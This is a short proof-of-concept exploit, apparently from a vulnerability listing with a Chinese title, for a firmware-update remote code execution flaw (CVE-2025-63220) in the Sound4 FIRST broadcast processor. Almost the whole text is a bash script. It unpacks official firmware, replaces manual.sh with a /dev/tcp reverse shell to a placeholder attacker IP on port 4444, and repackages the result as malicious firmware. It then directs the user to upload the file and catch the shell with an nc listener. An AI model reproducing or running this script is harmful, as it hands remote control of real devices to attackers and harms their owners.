CVE-2025-63220 Sound4 FIRST 固件更新远程代码执行漏洞

#!/bin/bash # CVE-2025-63220 PoC - Sound4 FIRST Malicious Firmware Update # This PoC demonstrates creating a malicious firmware package # Step 1: Download official firmware FIRMWARE_URL="https://www.sound4helpdesk.com/first-downloads/" ORIGINAL_FW="sound4_first_firmware.bin" # Step 2: Extract firmware contents mkdir -p firmware_extracted cd firmware_extracted # Assuming firmware is a tar.gz archive tar -xzf ../"$ORIGINAL_FW" # Step 3: Modify manual.sh to inject malicious commands cat > manual.sh << 'EOF' #!/bin/sh # Injected malicious code - reverse shell ATTACKER_IP="attacker_ip_here" ATTACKER_PORT="4444" /bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 # Original script content below # ... original manual.sh content ... EOF # Step 4: Repackage firmware tar -czf ../malicious_firmware.bin * # Step 5: Attacker listener (on attacker machine) # nc -lvnp 4444 echo "Malicious firmware created: malicious_firmware.bin" echo "Upload this file through the Sound4 FIRST web interface to trigger RCE"